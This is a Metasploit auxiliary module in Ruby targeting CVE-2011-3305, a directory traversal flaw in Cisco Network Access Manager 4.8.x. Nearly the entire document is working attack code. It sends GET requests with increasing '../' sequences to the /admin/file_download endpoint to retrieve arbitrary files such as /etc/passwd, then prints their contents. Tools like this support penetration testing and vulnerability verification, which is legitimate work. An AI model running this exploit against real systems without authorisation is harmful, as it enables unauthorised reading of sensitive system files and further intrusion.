Cisco Network Access Manager Directory Traversal Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'Cisco Network Access Manager Directory Traversal Vulnerability',
      'Description'    => %q{
        This module tests whether a directory traversal vulnerability is present
        in versions of Cisco Network Access Manager 4.8.x You may wish to change
        FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
        },
      'References'     =>
        [
          [ 'CVE', '2011-3305' ],
          [ 'OSVDB', '76080']
        ],
      'Author'         => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'SSL'          => true
      }
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
        OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
      ])
  end

  def run_host(ip)

    traversal = '../../'
    part1= '/admin/file_download?tag='
    part2 = '&fileType=snapshot'

    begin
      print_status("Attempting to connect to #{rhost}:#{rport}")
      res = send_request_raw(
        {
          'method'  => 'GET',
          'uri'     => '/admin',
        }, 25)

      if (res)
        1.upto(datastore['MAXDIRS']) do |level|
          try = traversal * level
          traversalstring = part1 + try + datastore['FILE'] + part2
          res = send_request_raw(
            {
              'method'  => 'GET',
              'uri'     => traversalstring,
            }, 25)
          if (res and res.code == 200)
            print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")
            break
          elsif (res and res.code)
            print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")
          end
        end
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end